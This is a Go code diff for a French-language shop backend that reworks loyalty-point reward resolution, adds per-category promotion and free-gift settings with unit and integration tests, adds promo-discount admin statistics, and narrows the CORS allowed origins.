@@ -189,43 +190,48 @@ func GetMyPointsRewards(c *gin.Context) {
if !poolCats[cfg.Category] {
continue
}
names := make([]string, 0, len(cfg.ProductIDs))
for _, pid := range cfg.ProductIDs {
if n, ok := productNames[pid]; ok {
names = append(names, n)
products := make([]ConfigProductResponse, 0, len(cfg.Products))
for _, pq := range cfg.Products {
name := ""
for _, cand := range candidates {
if cand.ProductID == pq.ProductID && cand.Category == cfg.Category {
name = cand.Name
break
}
}
products = append(products, ConfigProductResponse{
ProductID: pq.ProductID,
ProductName: name,
Quantity: pq.Quantity,
})
}
eligibleConfigs = append(eligibleConfigs, EligibleConfigResponse{
Category: cfg.Category,
Type: normalizeRewardCategoryType(cfg.Type),
AllProducts: cfg.AllProducts,
ProductIDs: cfg.ProductIDs,
ProductNames: names,
Category: cfg.Category,
Type: normalizeRewardCategoryType(cfg.Type),
AllProducts: cfg.AllProducts,
Products: products,
Quantity: cfg.Quantity,
})
}
}
eligibleProducts := eligibleRewardProducts(reward, poolCats, productCategories)
eligibleRewardItems := make([]RewardItemResponse, 0)
if reward != nil {
for _, item := range reward.RewardItems {
rewardType, ok := eligibleProducts[item.ProductID]
if !ok {
continue
}
price, err := effectiveRewardPrice(database, item, rewardType)
if err != nil {
log.Printf("⚠️ [POINTS] Prix récompense introuvable, masqué de l'aperçu: %v", err)
continue
}
eligibleRewardItems = append(eligibleRewardItems, RewardItemResponse{
ProductID: item.ProductID,
ProductName: productNames[item.ProductID],
Quantity: item.Quantity,
Price: price,
Type: rewardType,
})
for _, cand := range candidates {
if !poolCats[cand.Category] {
continue
}
price, err := effectiveRewardPrice(database, cand.ProductID, cand.Quantity, cand.Type)
if err != nil {
log.Printf("⚠️ [POINTS] Prix récompense introuvable, masqué de l'aperçu: %v", err)
continue
}
eligibleRewardItems = append(eligibleRewardItems, RewardItemResponse{
ProductID: cand.ProductID,
ProductName: cand.Name,
Quantity: cand.Quantity,
Price: price,
Type: cand.Type,
})
}
pools = append(pools, PoolInfo{
@@ -240,28 +246,22 @@ func GetMyPointsRewards(c *gin.Context) {
})
}
// Construire la liste des produits récompense avec leurs noms (aperçu
// global, indépendant d'un pool précis — le type/prix effectif par pool
// est celui exposé dans pools[].eligible_reward_items).
// Aperçu global des produits récompense, indépendant d'un pool précis — le
// type/prix effectif par pool est celui exposé dans pools[].eligible_reward_items.
var rewardMeta gin.H
if reward != nil {
rewardItems := make([]RewardItemResponse, 0, len(reward.RewardItems))
for _, item := range reward.RewardItems {
if item.ProductID <= 0 {
rewardItems := make([]RewardItemResponse, 0, len(candidates))
for _, cand := range candidates {
price, err := effectiveRewardPrice(database, cand.ProductID, cand.Quantity, cand.Type)
if err != nil {
continue
}
rewardType := categoryConfigTypeForProduct(reward, item.ProductID, productCategories[item.ProductID])
price, err := effectiveRewardPrice(database, item, rewardType)
if err != nil {
price = item.Price // fallback indicatif si le prix catalogue est momentanément indisponible
}
name := productNames[item.ProductID]
rewardItems = append(rewardItems, RewardItemResponse{
ProductID: item.ProductID,
ProductName: name,
Quantity: item.Quantity,
ProductID: cand.ProductID,
ProductName: cand.Name,
Quantity: cand.Quantity,
Price: price,
Type: rewardType,
Type: cand.Type,
})
}
rewardMeta = gin.H{
@@ -324,46 +324,40 @@ func ClaimMyReward(c *gin.Context) {
}
// Un produit récompense n'est éligible pour ce pool que si sa catégorie
// fait partie des catégories du pool (via CategoryConfigs) — sans ce
// filtre, un client pourrait réclamer n'importe quel produit récompense
// (toutes catégories confondues) avec les points d'un pool quelconque.
// fait partie des catégories du pool — sans ce filtre, un client pourrait
// réclamer n'importe quel produit récompense (toutes catégories
// confondues) avec les points d'un pool quelconque.
poolCategories := make(map[string]bool, len(selectedPool.Categories))
for _, cat := range selectedPool.Categories {
poolCategories[cat] = true
}
rewardProductIDs := make([]int, 0, len(reward.RewardItems))
for _, item := range reward.RewardItems {
if item.ProductID > 0 {
rewardProductIDs = append(rewardProductIDs, item.ProductID)
}
}
productCategories, err := database.GetProductCategoriesByIDs(rewardProductIDs)
candidates, err := resolveCategoryRewardCandidates(database, reward)
if err != nil {
utils.ServerErr(c, "Erreur lecture catégories produits", err)
utils.ServerErr(c, "Erreur résolution produits récompense", err)
return
}
eligibleProducts := eligibleRewardProducts(reward, poolCategories, productCategories)
// Le prix effectif (0€ ou -50% du prix catalogue courant) est résolu ici,
// avant toute écriture — si un item ne peut pas être tarifé (produit sans
// palier de prix actif), la réclamation entière échoue proprement, avant
// même de démarrer la transaction de consommation de points.
eligibleItems := make([]models.RewardItem, 0, len(reward.RewardItems))
for _, item := range reward.RewardItems {
rewardType, ok := eligibleProducts[item.ProductID]
if !ok {
eligibleItems := make([]models.RewardItem, 0, len(candidates))
for _, cand := range candidates {
if !poolCategories[cand.Category] {
continue
}
price, err := effectiveRewardPrice(database, item, rewardType)
price, err := effectiveRewardPrice(database, cand.ProductID, cand.Quantity, cand.Type)
if err != nil {
log.Printf("❌ [CLAIM] %s: %v", username, err)
c.JSON(http.StatusConflict, gin.H{"error": "Récompense momentanément indisponible, contactez le support"})
return
}
item.Price = price
eligibleItems = append(eligibleItems, item)
eligibleItems = append(eligibleItems, models.RewardItem{
ProductID: cand.ProductID,
Quantity: cand.Quantity,
Price: price,
})
}
itemsToAdd := eligibleItems
@@ -381,6 +375,16 @@ func ClaimMyReward(c *gin.Context) {
}
}
// Sans produit éligible pour ce pool (ex: catégories de la récompense mal
// alignées avec celles du pool), on refuse avant de consommer un point —
// sinon points_redeemed serait incrémenté sans qu'aucun produit ne soit
// jamais ajouté au panier (récompense perdue silencieusement).
if len(itemsToAdd) == 0 {
log.Printf("❌ [CLAIM] Aucun produit éligible pour %s (pool=%s)", username, req.PoolKey)
c.JSON(http.StatusConflict, gin.H{"error": "Récompense momentanément indisponible, contactez le support"})
return
}
remaining, added, err := database.ClaimPoolRewardAndAddToBasket(username, req.PoolKey, reward.Threshold, itemsToAdd)
if err != nil {
if strings.Contains(err.Error(), "pas de récompense disponible") {
+33
View File
@@ -8,6 +8,7 @@ import (
"gestion/utils"
"io"
"log"
"math"
"mime/multipart"
"net/http"
"strconv"
@@ -412,6 +413,7 @@ func GetAllProducts(c *gin.Context) {
if role != "admin" && role != "cabine" {
products = filterActivePrices(products)
}
products = applyPromotions(products, database)
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": products,
@@ -450,6 +452,7 @@ func GetProductsByCategory(c *gin.Context) {
if roleCtx != "admin" && roleCtx != "cabine" {
products = filterActivePrices(products)
}
products = applyPromotions(products, database)
c.JSON(http.StatusOK, gin.H{
"success": true,
"data": products,
@@ -482,6 +485,7 @@ func GetProductByID(c *gin.Context) {
if role != "admin" && role != "cabine" {
filterActivepricesSingle(&product)
}
applyPromotionsSingle(&product, database)
c.JSON(http.StatusOK, gin.H{
"success": true,
@@ -1002,3 +1006,32 @@ func filterActivepricesSingle(product *models.Product) {
}
product.Prices = activePrices
}
// applyPromotions annote chaque palier de prix éligible avec le prix promo
// (PromoPrice/PromoPercent) si une promotion couvre ce produit/quantité —
// affichage seulement, le prix catalogue (Price) n'est jamais modifié ici ;
// le prix réellement facturé est recalculé indépendamment dans AddToBasket.
func applyPromotions(products []models.Product, database *db.Database) []models.Product {
settings, err := database.GetSettings()
if err != nil || !settings.PromotionsEnabled {
return products
}
for i := range products {
for j := range products[i].Prices {
pr := &products[i].Prices[j]
discount, ok := db.ResolvePromotionDiscount(&settings, products[i].ID, products[i].Category, pr.Quantity)
if !ok {
continue
}
promoPrice := math.Round(pr.Price*(1-discount/100)*100) / 100
pr.PromoPrice = &promoPrice
pr.PromoPercent = discount
}
}
return products
}
func applyPromotionsSingle(product *models.Product, database *db.Database) {
products := applyPromotions([]models.Product{*product}, database)
*product = products[0]
}
+31 -17
View File
@@ -204,18 +204,20 @@ func GetAdminStats(c *gin.Context) {
// Toutes les requêtes sont indépendantes — on les lance en parallèle.
var (
wdRows []models.WeekdayRow
dayRows []models.DayRow
dayRevRows []models.DayRevenueRow
hourRows []models.HourRow
prodRows []models.ProductRow
qtyRows []models.QuantityBreakdownRow
dailyRows []models.DailyProductRow
totalOrders int64
totalRevenue float64
dailyTotalOrders int64
activeDays int64
last30Count int64
wdRows []models.WeekdayRow
dayRows []models.DayRow
dayRevRows []models.DayRevenueRow
hourRows []models.HourRow
prodRows []models.ProductRow
qtyRows []models.QuantityBreakdownRow
dailyRows []models.DailyProductRow
totalOrders int64
totalRevenue float64
totalPromoDiscount float64
promoOrdersCount int64
dailyTotalOrders int64
activeDays int64
last30Count int64
)
eg, _ := errgroup.WithContext(context.Background())
@@ -236,6 +238,16 @@ func GetAdminStats(c *gin.Context) {
totalRevenue, err = database.TotalRevenue(filters.ResetRevenus)
return err
})
eg.Go(func() error {
var err error
totalPromoDiscount, err = database.TotalPromoDiscount(filters.ResetRevenus)
return err
})
eg.Go(func() error {
var err error
promoOrdersCount, err = database.PromoOrdersCount(filters.ResetRevenus)
return err
})
eg.Go(func() error {
var err error
dailyTotalOrders, err = database.DailyOrdersCount()
@@ -430,11 +442,13 @@ func GetAdminStats(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"summary": gin.H{
"total_orders": totalOrders,
"total_revenue": totalRevenue,
"peak_weekday": peakWeekday,
"top_product": topProductName,
"avg_per_day": avgPerDay,
"total_orders": totalOrders,
"total_revenue": totalRevenue,
"total_promo_discount": totalPromoDiscount,
"promo_orders_count": promoOrdersCount,
"peak_weekday": peakWeekday,
"top_product": topProductName,
"avg_per_day": avgPerDay,
},
"reset_at_commandes": dateFilter(filters.ResetCommandes),
"reset_at_revenus": dateFilter(filters.ResetRevenus),
+1 -1
View File
@@ -166,7 +166,7 @@ func main() {
r.Use(sessions.Sessions("mysession", store))
r.Use(cors.New(cors.Config{
AllowOrigins: []string{"https://uber-stup.club", "https://5.181.0.112.nip.io", "https://5.181.0.112.nip.io:8080", "https://5.181.0.112.nip.io:8443", "https://mln-uber.club", "http://localhost:5173", "http://5.181.0.112"},
AllowOrigins: []string{"https://uber-demo.club"},
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS", "PATCH"},
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization", "X-Request-ID"},
ExposeHeaders: []string{"Content-Length"},
+11 -10
View File
@@ -19,16 +19,17 @@ func (Command) TableName() string { return "commandes" }
// CommandItem représente un produit dans une commande
type CommandItem struct {
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
CommandID int `gorm:"column:command_id" json:"command_id"`
Produit string `gorm:"column:produit" json:"produit"`
ProductID int `gorm:"column:product_id" json:"product_id"`
Quantity float64 `gorm:"column:quantite" json:"quantity"`
Price float64 `gorm:"column:prix" json:"price"`
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
ID int `gorm:"primaryKey;autoIncrement" json:"id"`
CommandID int `gorm:"column:command_id" json:"command_id"`
Produit string `gorm:"column:produit" json:"produit"`
ProductID int `gorm:"column:product_id" json:"product_id"`
Quantity float64 `gorm:"column:quantite" json:"quantity"`
Price float64 `gorm:"column:prix" json:"price"`
IsReward bool `gorm:"column:is_reward" json:"is_reward"`
RewardPoolKey string `gorm:"column:reward_pool_key" json:"reward_pool_key,omitempty"`
PromoDiscount float64 `gorm:"column:promo_discount" json:"promo_discount,omitempty"`
CreatedAt time.Time `gorm:"autoCreateTime" json:"created_at"`
UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at"`
}
type CommandLog struct {
+13 -12
View File
@@ -3,16 +3,17 @@ package models
import "time"
type Panier struct {
ID int `json:"id"`
Username string `json:"username"`
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Category string `json:"category"`
Description string `json:"description"`
Quantity float64 `json:"quantity"`
Price float64 `json:"price"`
IsReward bool `json:"is_reward"`
RewardPoolKey string `json:"reward_pool_key,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at,omitempty"`
ID int `json:"id"`
Username string `json:"username"`
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Category string `json:"category"`
Description string `json:"description"`
Quantity float64 `json:"quantity"`
Price float64 `json:"price"`
IsReward bool `json:"is_reward"`
RewardPoolKey string `json:"reward_pool_key,omitempty"`
PromoDiscount float64 `json:"promo_discount,omitempty"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at,omitempty"`
}
+7
View File
@@ -32,6 +32,13 @@ type ProductPrice struct {
// TRUE posé au niveau SQL (db_init.go), ce tag Go était redondant et
// seulement source du bug.
ActivePrice bool `json:"active_price" gorm:"column:active_price"`
// Champs transitoires (non persistés, gorm:"-") : annotés à la volée sur
// les endpoints de lecture client si une promotion s'applique à ce palier
// précis (voir handlers.applyPromotions) — permet d'afficher le prix
// barré + le prix promo sans toucher au prix catalogue réel.
PromoPrice *float64 `json:"promo_price,omitempty" gorm:"-"`
PromoPercent float64 `json:"promo_percent,omitempty" gorm:"-"`
}
func (ProductPrice) TableName() string { return "product_prices" }
+118 -35
View File
@@ -14,30 +14,109 @@ type PointsTier struct {
Points int `json:"points"`
}
// RewardCategoryConfig définit les produits éligibles dans une catégorie pour une récompense,
// ainsi que le type de récompense appliqué pour cette catégorie précise.
type RewardCategoryConfig struct {
Category string `json:"category"` // nom de la catégorie
Type string `json:"type"` // "free_product" (défaut) | "half_price_product"
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
ProductIDs []int `json:"product_ids"` // IDs des produits éligibles si AllProducts = false
// RewardProductQuantity associe un produit à sa propre quantité offerte / à
// -50%, pour le cas où une catégorie n'est pas configurée en "tous les
// produits" — ex: produit A à 2g offerts, produit B à 1g offert, tous deux
// dans la même catégorie et le même type de récompense.
type RewardProductQuantity struct {
ProductID int `json:"product_id"`
Quantity float64 `json:"quantity"`
}
// RewardItem représente un produit offert lors d'une récompense, avec sa quantité et son prix associé
// RewardCategoryConfig définit les produits éligibles dans une catégorie pour une récompense,
// le type de récompense appliqué pour cette catégorie précise, et la quantité
// concernée (ex: 1g offert, ou 2g à -50%) — la quantité correspond au palier
// de prix catalogue du produit (voir GetActiveProductPrice), pas une valeur
// libre : ex. "30€ offert = 1g" si le produit a un palier quantity=1 à 30€.
//
// Si AllProducts = true, Quantity s'applique uniformément à tous les produits
// de la catégorie. Si AllProducts = false, chaque produit sélectionné dans
// Products a sa propre quantité (Quantity au niveau catégorie est alors ignoré).
type RewardCategoryConfig struct {
Category string `json:"category"` // nom de la catégorie
Type string `json:"type"` // "free_product" (défaut) | "half_price_product"
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
Quantity float64 `json:"quantity"` // quantité uniforme si AllProducts = true
Products []RewardProductQuantity `json:"products"` // produits + quantité individuelle si AllProducts = false
}
// RewardItem représente un produit résolu à ajouter au panier lors d'un
// claim (ProductID + Quantity + Price effectif) — construit dynamiquement à
// partir des CategoryConfigs au moment du claim, plus une liste saisie à part.
type RewardItem struct {
ProductID int `json:"product_id"` // ID du produit ajouté au panier
Quantity float64 `json:"quantity"` // quantité offerte
Price float64 `json:"price"` // valeur indicative affichée au client
Price float64 `json:"price"` // prix effectif facturé (0 si offert, 50% du prix catalogue si -50%)
}
// PointsReward représente la récompense débloquée à partir d'un seuil de points cumulés.
// Le type de récompense (gratuit ou -50%) n'est plus global : il est défini par catégorie
// dans CategoryConfigs (voir RewardCategoryConfig.Type).
// Le type de récompense (gratuit ou -50%) et la quantité concernée sont
// définis par catégorie dans CategoryConfigs (voir RewardCategoryConfig) —
// les produits éligibles et leur quantité ne sont plus saisis à part.
type PointsReward struct {
Threshold int `json:"threshold"` // points cumulés nécessaires (ex: 20)
Description string `json:"description"` // description libre affichée au client
CategoryConfigs []RewardCategoryConfig `json:"category_configs"` // catégories + produits éligibles + type par catégorie
RewardItems []RewardItem `json:"reward_items"` // produits ajoutés au panier lors du claim
CategoryConfigs []RewardCategoryConfig `json:"category_configs"` // catégories + produits éligibles + type + quantité par catégorie
}
// PromotionProductQuantity associe un produit à sa propre quantité en promo,
// pour le cas où une catégorie n'est pas configurée en "tous les produits" —
// même logique que RewardProductQuantity mais pour les promotions.
type PromotionProductQuantity struct {
ProductID int `json:"product_id"`
Quantity float64 `json:"quantity"`
}
// CategoryPromotionConfig définit une promotion (réduction en %) appliquée
// automatiquement au prix catalogue d'un produit pour une quantité donnée —
// contrairement à RewardCategoryConfig, ça ne dépend d'aucun seuil de points :
// le prix réduit s'applique à tout client qui commande ce produit à cette
// quantité, affiché directement sur le produit. La quantité correspond au
// palier de prix catalogue existant (voir GetActiveProductPrice), pas une
// valeur libre.
//
// Si AllProducts = true, Quantity s'applique uniformément à tous les produits
// de la catégorie. Si AllProducts = false, chaque produit sélectionné dans
// Products a sa propre quantité (Quantity au niveau catégorie est alors ignoré).
type CategoryPromotionConfig struct {
Category string `json:"category"` // nom de la catégorie
DiscountPercent float64 `json:"discount_percent"` // pourcentage de réduction libre (ex: 10, 20, 33.5)
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
Quantity float64 `json:"quantity"` // quantité uniforme si AllProducts = true
Products []PromotionProductQuantity `json:"products"` // produits + quantité individuelle si AllProducts = false
}
// FreeGiftTier définit un seuil d'achat et la quantité offerte associée, du
// même produit — plusieurs seuils peuvent coexister pour un même produit
// (ex: 10g achetés → 1g offert, 20g achetés → 3g offerts) ; le seuil le plus
// élevé atteint par la quantité commandée est retenu (voir ResolveFreeGift).
type FreeGiftTier struct {
BuyQuantity float64 `json:"buy_quantity"` // quantité à acheter pour déclencher l'offre
FreeQuantity float64 `json:"free_quantity"` // quantité offerte du même produit
}
// FreeGiftProductQuantity associe un produit à ses propres seuils
// d'achat/offre, pour le cas où une catégorie n'est pas configurée en "tous
// les produits" — même logique que PromotionProductQuantity mais pour les
// offres quantité achetée/offerte.
type FreeGiftProductQuantity struct {
ProductID int `json:"product_id"`
Tiers []FreeGiftTier `json:"tiers"`
}
// CategoryFreeGiftConfig définit une offre "achetez X, Y offert" (du même
// produit) appliquée automatiquement dès que la quantité ajoutée au panier
// atteint un seuil configuré — indépendant des points de fidélité et des
// promotions (cumulable avec elles).
//
// Si AllProducts = true, Tiers s'applique uniformément à tous les produits de
// la catégorie. Si AllProducts = false, chaque produit sélectionné dans
// Products a ses propres seuils (Tiers au niveau catégorie est alors ignoré).
type CategoryFreeGiftConfig struct {
Category string `json:"category"` // nom de la catégorie
AllProducts bool `json:"all_products"` // true = tous les produits de la catégorie
Tiers []FreeGiftTier `json:"tiers"` // seuils uniformes si AllProducts = true
Products []FreeGiftProductQuantity `json:"products"` // produits + seuils individuels si AllProducts = false
}
// DaySchedule représente les horaires de livraison pour un jour de la semaine
@@ -87,28 +166,32 @@ type DeliveryModeConfig struct {
// AppSettings contient les paramètres globaux de l'application
type AppSettings struct {
PenaltiesEnabled bool `json:"penalties_enabled"`
ShowAmendeScore bool `json:"show_amende_score"` // afficher le score d'amendes aux clients/cabine
PenaltyTiers []PenaltyTier `json:"penalty_tiers"` // barème des amendes (liste configurable)
PointsEnabled bool `json:"points_enabled"` // afficher/activer le système de points
PointsPools []PointsPool `json:"points_pools"` // types de points personnalisés
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
CryptoOnly bool `json:"crypto_only"` // forcer le paiement crypto uniquement (pas d'espèces)
NowPaymentsAPIKey string `json:"nowpayments_api_key"` // clé API NowPayments
NowPaymentsIPNSecret string `json:"nowpayments_ipn_secret"` // secret IPN NowPayments
NowPaymentsCurrencies []string `json:"nowpayments_currencies"` // cryptos acceptées (ex: ["btc","eth","ltc"])
DeliverySchedule DeliverySchedule `json:"delivery_schedule"` // horaires de livraison par jour
PostalZones []PostalZone `json:"postal_zones"` // zones de livraison avec minimum de commande
TelegramBotToken string `json:"telegram_bot_token"` // token du bot Telegram (BotFather) — pour le webhook de liaison
TelegramBotUsername string `json:"telegram_bot_username"` // username du bot (sans @)
TelegramNotificationsEnabled bool `json:"telegram_notifications_enabled"` // activer/désactiver les notifications Telegram
DeliveryMode DeliveryModeConfig `json:"delivery_mode"` // mode d'assignation des livreurs
ShopName string `json:"shop_name"` // nom affiché dans la sidebar du site client
Telegram2FAEnabled bool `json:"telegram_2fa_enabled"` // activer/désactiver l'authentification à deux facteurs
ContactTelegram string `json:"contact_telegram"` // numéro de téléphone Telegram du contact
PenaltiesEnabled bool `json:"penalties_enabled"`
ShowAmendeScore bool `json:"show_amende_score"` // afficher le score d'amendes aux clients/cabine
PenaltyTiers []PenaltyTier `json:"penalty_tiers"` // barème des amendes (liste configurable)
PointsEnabled bool `json:"points_enabled"` // afficher/activer le système de points
PointsPools []PointsPool `json:"points_pools"` // types de points personnalisés
PointsReward *PointsReward `json:"points_reward"` // récompense globale par palier de points
PromotionsEnabled bool `json:"promotions_enabled"` // activer/désactiver les promotions
Promotions []CategoryPromotionConfig `json:"promotions"` // promotions (% de réduction) par catégorie
FreeGiftsEnabled bool `json:"free_gifts_enabled"` // activer/désactiver les offres "achetez X, Y offert"
FreeGifts []CategoryFreeGiftConfig `json:"free_gifts"` // offres quantité achetée/offerte par catégorie
ReferralEnabled bool `json:"referral_enabled"` // activer/désactiver le système de parrainage
ReferralAmount float64 `json:"referral_amount"` // montant crédité par parrainage
CryptoPaymentEnabled bool `json:"crypto_payment_enabled"` // activer/désactiver le paiement crypto
CryptoOnly bool `json:"crypto_only"` // forcer le paiement crypto uniquement (pas d'espèces)
NowPaymentsAPIKey string `json:"nowpayments_api_key"` // clé API NowPayments
NowPaymentsIPNSecret string `json:"nowpayments_ipn_secret"` // secret IPN NowPayments
NowPaymentsCurrencies []string `json:"nowpayments_currencies"` // cryptos acceptées (ex: ["btc","eth","ltc"])
DeliverySchedule DeliverySchedule `json:"delivery_schedule"` // horaires de livraison par jour
PostalZones []PostalZone `json:"postal_zones"` // zones de livraison avec minimum de commande
TelegramBotToken string `json:"telegram_bot_token"` // token du bot Telegram (BotFather) — pour le webhook de liaison
TelegramBotUsername string `json:"telegram_bot_username"` // username du bot (sans @)
TelegramNotificationsEnabled bool `json:"telegram_notifications_enabled"` // activer/désactiver les notifications Telegram
DeliveryMode DeliveryModeConfig `json:"delivery_mode"` // mode d'assignation des livreurs
ShopName string `json:"shop_name"` // nom affiché dans la sidebar du site client
Telegram2FAEnabled bool `json:"telegram_2fa_enabled"` // activer/désactiver l'authentification à deux facteurs
ContactTelegram string `json:"contact_telegram"` // numéro de téléphone Telegram du contact
// Palette de couleurs — espace admin
AdminColorPrimary string `json:"admin_color_primary"`
AdminColorSecondary string `json:"admin_color_secondary"`
+395
View File
@@ -0,0 +1,395 @@
package tests
import (
"gestion/db"
"gestion/models"
"testing"
)
// ── Persistance des settings (save→reload) ──────────────────────────────────
func TestUpdateSettings_FreeGiftsRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{
Category: "test",
AllProducts: false,
Products: []models.FreeGiftProductQuantity{
{ProductID: 111, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
{BuyQuantity: 20, FreeQuantity: 3},
}},
},
},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if !loaded.FreeGiftsEnabled {
t.Fatal("free_gifts_enabled devrait être true après reload")
}
if len(loaded.FreeGifts) != 1 {
t.Fatalf("free_gifts: got=%d want=1: %+v", len(loaded.FreeGifts), loaded.FreeGifts)
}
gift := loaded.FreeGifts[0]
if gift.Category != "test" || len(gift.Products) != 1 {
t.Fatalf("free gift mal persistée: got=%+v", gift)
}
if len(gift.Products[0].Tiers) != 2 || gift.Products[0].Tiers[1].BuyQuantity != 20 || gift.Products[0].Tiers[1].FreeQuantity != 3 {
t.Errorf("tiers mal persistés: got=%+v", gift.Products[0].Tiers)
}
// Désactivation : doit persister à false, pas de résurrection (même
// classe de bug que TestUpdateSettings_DisablingPointsRewardPersistsAsNil).
s.FreeGiftsEnabled = false
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings (désactivation): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (désactivation): %v", err)
}
if loaded.FreeGiftsEnabled {
t.Error("free_gifts_enabled devrait rester false après désactivation")
}
}
// ── Résolution de la quantité offerte (logique pure) ────────────────────────
func TestResolveFreeGift_AllProductsAtOrAboveThreshold(t *testing.T) {
settings := &models.AppSettings{
FreeGiftsEnabled: true,
FreeGifts: []models.CategoryFreeGiftConfig{
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
},
}
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 1 {
t.Errorf("quantité offerte: got=%.2f want=1", got)
}
if got := db.ResolveFreeGift(settings, 42, "fleurs", 15); got != 1 {
t.Errorf("au-dessus du seuil, le cadeau reste dû: got=%.2f want=1", got)
}
if got := db.ResolveFreeGift(settings, 42, "fleurs", 9); got != 0 {
t.Errorf("sous le seuil, aucun cadeau: got=%.2f want=0", got)
}
}
func TestResolveFreeGift_DisabledReturnsZero(t *testing.T) {
settings := &models.AppSettings{
FreeGiftsEnabled: false,
FreeGifts: []models.CategoryFreeGiftConfig{
{Category: "fleurs", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
},
}
if got := db.ResolveFreeGift(settings, 42, "fleurs", 10); got != 0 {
t.Errorf("offres désactivées: aucun cadeau attendu: got=%.2f", got)
}
}
func TestResolveFreeGift_PerProductHighestTierApplies(t *testing.T) {
settings := &models.AppSettings{
FreeGiftsEnabled: true,
FreeGifts: []models.CategoryFreeGiftConfig{
{
Category: "fleurs",
AllProducts: false,
Products: []models.FreeGiftProductQuantity{
{ProductID: 111, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
{BuyQuantity: 20, FreeQuantity: 3},
}},
},
},
},
}
if got := db.ResolveFreeGift(settings, 111, "fleurs", 10); got != 1 {
t.Errorf("seuil 10g: got=%.2f want=1", got)
}
// 25g dépasse les deux seuils : le plus élevé (20g→3g) doit être retenu,
// pas le premier de la liste (10g→1g).
if got := db.ResolveFreeGift(settings, 111, "fleurs", 25); got != 3 {
t.Errorf("seuil le plus élevé atteint (20g→3g): got=%.2f want=3", got)
}
// Produit non listé dans cette config : aucun cadeau.
if got := db.ResolveFreeGift(settings, 222, "fleurs", 25); got != 0 {
t.Errorf("produit non couvert: got=%.2f want=0", got)
}
}
// ── Intégration AddToBasket : la quantité livrée inclut le cadeau, au même prix ──
func TestAddToBasket_AppliesFreeGiftQuantityAtSamePrice(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_basket_applies")
productID := newTestProduct(t, "FreeGiftBasketApplies", 50)
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
basket, err := testDB.AddToBasket(username, productID, 10)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Quantity != 11 {
t.Errorf("quantité livrée attendue = 10 + 1 offert = 11: got=%.2f", basket.Quantity)
}
if basket.Price != 10.0 {
t.Errorf("le prix ne doit pas changer (facturé sur les 10g demandés): got=%.2f want=10.00", basket.Price)
}
}
func TestAddToBasket_NoFreeGiftBelowThreshold(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_basket_below")
productID := newTestProduct(t, "FreeGiftBasketBelow", 50)
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
basket, err := testDB.AddToBasket(username, productID, 5)
if err != nil {
t.Fatalf("AddToBasket: %v", err)
}
if basket.Quantity != 5 {
t.Errorf("sous le seuil, aucune quantité offerte: got=%.2f want=5", basket.Quantity)
}
}
// La quantité réellement décomptée du stock doit inclure le cadeau : un stock
// suffisant pour la quantité demandée mais pas pour demandée+offerte doit
// faire échouer l'ajout, pas livrer un cadeau partiel.
func TestAddToBasket_FreeGiftRejectedWhenStockInsufficientForBonus(t *testing.T) {
cleanupStockTestData(t)
resetSettingsAfterTest(t)
username := newTestClient(t, "freegift_basket_stock")
productID := newTestProduct(t, "FreeGiftBasketStock", 10) // stock = 10, pile la quantité demandée
s := db.DefaultSettings()
s.FreeGiftsEnabled = true
s.FreeGifts = []models.CategoryFreeGiftConfig{
{Category: "test", AllProducts: true, Tiers: []models.FreeGiftTier{
{BuyQuantity: 10, FreeQuantity: 1},
}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
